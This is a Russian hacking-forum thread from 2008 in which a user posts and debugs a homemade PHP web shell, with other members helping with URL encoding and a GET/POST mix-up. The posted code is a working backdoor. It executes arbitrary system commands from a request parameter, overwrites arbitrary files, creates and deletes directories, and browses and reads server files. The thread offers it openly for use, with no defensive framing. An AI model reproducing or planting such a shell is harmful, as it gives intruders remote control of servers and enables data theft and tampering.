Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Php shell (https://forum.antichat.xyz/showthread.php?t=72170)

lomerok 31.05.2008 13:51

Php shell
 
неоткрываются русские папки
PHP код:

<form method="get">
Введите адрес :<input type="text" name="path">
<input type="submit" value="Enter"></form>
<?
$do
=$_GET['path'];
if(
$do=="./"$do .= "/";
if(!isset(
$do) or $do==''$do=getcwd();
if(
is_dir($do))
{
 
chdir($do);
 
$od=opendir($do);
 while(
$rd=readdir($od))
 {
 print 
"<br><a href=\"?path=".getcwd()."\\$rd\">$rd</a>";
 }
 
closedir($od);

if(
is_file($do)) 
{
 print 
'<textarea cols=100 rows=20>'
 print 
htmlspecialchars(file_get_contents($do));
 print 
'</textarea>';
}
?>


brasco2k 31.05.2008 14:00

А они и не должны открыватся.
Не забывай про URL encode

lomerok 31.05.2008 14:06

пля чёта я прогнал , пробовал урлэнкоде до этого и неработало , а щас заработало , видать нетуда пихал

lomerok 31.05.2008 18:08

при сохранении в файл , всё передается через Get почему , если установлен Post ...

lomerok 31.05.2008 18:08

при сохранении в файл , всё передается через Get почему , если установлен Post ...

PHP код:

<html>
<title>Shell</title>
<body bgcolor=#000000 text=#ffffff alink=#ffffff vlink=#ffffff link=#ffffff>
<table border=3>
 <tr>
  <td>
   <form method="get">
    <input type="text" name="us">
    <select name="use">
     <option value="open">Открыть папку</option>
     <option value="new">Создать папку</option>
     <option value="dell">Удалить папку</option>
     <option value="cmd">Выполнить команду</option>
    </select>
    <input type="submit" value="Enter">
  </td>
 </tr>
</table>
<?
//--------------Peremennie-------------------------------------------------------------------
$do=$_GET['path'];
$text=$_GET['text'];
$name=$_GET['name'];
$us=$_GET['us'];
$use=$_GET['use'];
//-------------Edit file-----------------------------------------------------------------------
if(isset($text))
{
 
$fo=fopen($name,"w");
 
$fw=fwrite($fo,stripslashes($text));
 
fclose($fo);
 print 
"Сохранено !!!";
}
//-------------Commands---------------------------------------------------------------------
if ($use=="open") {$do=$us; print "Готово !!!<br>";}
if (
$use=="new")  {mkdir("./$us/"); print "Готово !!!<br>";}
if (
$use=="dell") {rmdir($us); print "Готово !!!<br>";}
if (
$use=="cmd")   {$command=$us; print "Готово !!!<br>";}
//-------------Cmd shell-----------------------------------------------------------------------
if(isset($command))
{
 if(
$us=="cd .."chdir("..");
 print 
'<textarea cols=100 rows=20>';
 echo 
system($command);
 print 
'</textarea><br><a href="javascript:history.go(-1);">Cancel</a>';

//-------------Chtenie katalogov------------------------------------------------------------
if($do=="./"$do .= "/";
//if(!isset($do) or $do=='') $do=getcwd();
if(is_dir($do))
{
 
chdir($do);
 
$od=opendir($do);
 while(
$rd=readdir($od))
 {
 print 
"<br><a href=\"?path=".urlencode(getcwd())."\\$rd\">$rd</a>";
 }
 
closedir($od);

//-------------Chtenie failov-----------------------------------------------------------------
if(is_file($do)) 
{
 print 
'<form method="POST">
        <input type="hidden" name="name" value="'
.$do.'">
        <textarea cols=100 rows=20 name="text">'

 print 
htmlspecialchars(file_get_contents($do));
 print 
'</textarea><br>
        <input type="submit" value="Save">
        </form><br><a href="javascript:history.go(-1);">Cancel</a>'
;
}
?>

</body>
</html>


cash$$$ 31.05.2008 18:25

Цитата:

Сообщение от lomerok
при сохранении в файл , всё передается через Get почему , если установлен Post ...

Методы GET и POST — это два различных способа передачи данных HTTP-серверу, точнее PHP- или другому CGI-скрипту для последующей обработки.
При методе GET производится сокет-соединение с хостом на 80-ом порту и по этому соединению передаётся указанный текст запроса. По протоколу HTTP, в первой строке указывается метод запроса, имя ресурса и версия протокола. Во второй строке указывается DNS-имя хоста, к которому происходит обращение (на одном хосте могут размещаться сотни виртуальных хостов с различными именами). Этот метод получения документов (страниц, картинок и других файлов) является основным для HTTP-серверов и браузеров. В этом случае браузер лишь сообщает серверу, какой документ необходимо загрузить.

Метод POST В этом случае данные передаются не в URL, а в теле HTTP-запроса, но формат представления очень похож на GET и в скрипте они обрабатываются посредством глобального массива $_POST[имя-поля]. Обычно POST используется при работе с формами, когда данные отправляются на сервер, а не просто запрашивается URL. В этом принципиальное отличие GET от POST.
К примеру, вот простой скрипт сложения двух чисел. Состоит из двух частей: HTML-форма и код вывода суммы. Числа из полей ввода A и B передаются в этот же скрипт методом POST в виде переменных $_POST[a] и $_POST[b], и если они были переданы, то есть не пустые, то под формой выводится результат.
PHP код:

<form name="sum" action="script.php" method="post">  
Введите A <input name="a" type="text" value="">  
Введите B <input name="b" type="text" value="">  
<input type="submit" value="Сложить">  
</form>
<?php  
if ( $_POST[a] && $_POST[b] ) echo "Результат " . ($_POST[a] + $_POST[b]);  
?>


lomerok 31.05.2008 19:39

конечно спасибо за такой исчерпывающий ответ , но он неуместен так как в коде указан метод Post , а данные почемуто передаются через Get ...

lomerok 31.05.2008 19:48

Уже разобрался .. проблемма была в незакрытом тэге <form>

lomerok 01.06.2008 11:21

как в php подставить несколько букв в начало строки (переменной)

BlackSun 01.06.2008 13:00

unlink


Время: 19:37